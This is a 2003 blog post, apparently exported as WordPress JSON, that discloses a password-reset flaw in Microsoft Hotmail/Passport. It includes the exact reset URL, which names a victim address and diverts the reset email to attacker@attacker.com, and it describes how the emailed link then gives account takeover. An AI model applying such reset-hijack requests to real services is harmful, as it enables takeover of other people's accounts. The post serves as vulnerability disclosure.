Allowing anyone to reset password without replying to any questions<\/p>\n
Hotmail & Passport (.NET Accounts) Vulnerability<\/p>\n
There is a very serious and stupid vulnerability or badcoding in Hotmail \/ Passport?s (.NET Accounts)<\/p>\n
I tried sending emails several times to Hotmail \/ Passport contact addresses, but always met with the NLP bots.<\/p>\n
I guess I don?t need to go in details of how cruical and important Hotmail \/ Passport?s .NET Account passport is to anyone.<\/p>\n
You name it and they have it, E-Commerce, Credit Card processing, Personal Emails, Privacy Issues, Corporate Espionage, maybe stalkers and what not.<\/p>\n
It is so simple that it is funny.<\/p>\n
All you got to do is hit the following in your browser:<\/p>\n
[url=https:\/\/register.passport.net\/emailpwdreset.srf?lc=1033&em=victim@hotmail.com&id=&cb=&prefem=attacker@attacker.com&rst=1]https:\/\/register.passport.net\/emailpwdreset.srf?lc=1033&em=victim@hotmail.com&id=&cb=&prefem=attacker@attacker.com&rst=1[\/url]<\/p>\n
And you?ll get an email on [email]attacker@attacker.com[\/email] asking you to click on a url something like this:<\/p>\n
[url=http:\/\/register.passport.net\/EmailPage.srf?EmailID=CD4DC30B34D9ABC6&URLNum=0&lc=1033]http:\/\/register.passport.net\/EmailPage.srf?EmailID=CD4DC30B34D9ABC6&URLNum=0&lc=1033[\/url]<\/p>\n
From that url, you can reset the password and I don?t think I need to say anything more about it.<\/p>\n
Vulnerability \/ Flaw discovered \t: \t12th April 2003
\nVendor \/ Owner notified\t\t:\tYes (as far as emailing them more than 10 times is concerned)<\/p>\n
Regards
\n——–
\nMuhammad Faisal Rauf Danka<\/p>\n","protected":false},"excerpt":{"rendered":"
One of the biggest hole found in MS Passport, more than 200 m users vulnerable. It took 3 weeks to Microsoft to react.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","_seopress_robots_follow":"","_seopress_robots_imageindex":"","_seopress_robots_snippet":"","_seopress_robots_primary_cat":"","_seopress_robots_breadcrumbs":"","_seopress_robots_freeze_modified_date":"","_seopress_robots_custom_modified_date":"","_seopress_robots_canonical":"","_seopress_social_fb_title":"","_seopress_social_fb_desc":"","_seopress_social_fb_img":"","_seopress_social_fb_img_attachment_id":0,"_seopress_social_fb_img_width":0,"_seopress_social_fb_img_height":0,"_seopress_social_twitter_title":"","_seopress_social_twitter_desc":"","_seopress_social_twitter_img":"","_seopress_social_twitter_img_attachment_id":0,"_seopress_social_twitter_img_width":0,"_seopress_social_twitter_img_height":0,"_seopress_redirections_value":"","_seopress_redirections_enabled":"","_seopress_redirections_enabled_regex":"","_seopress_redirections_logged_status":"","_seopress_redirections_param":"","_seopress_redirections_type":0,"_seopress_analysis_target_kw":"","_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_feature_clip_id":0,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_post_was_ever_published":false},"categories":[6],"tags":[],"class_list":["post-57","post","type-post","status-publish","format-standard","hentry","category-m"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/p4bBYZ-V","_links":{"self":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts\/57","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/comments?post=57"}],"version-history":[{"count":0,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts\/57\/revisions"}],"wp:attachment":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/media?parent=57"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/categories?post=57"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/tags?post=57"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}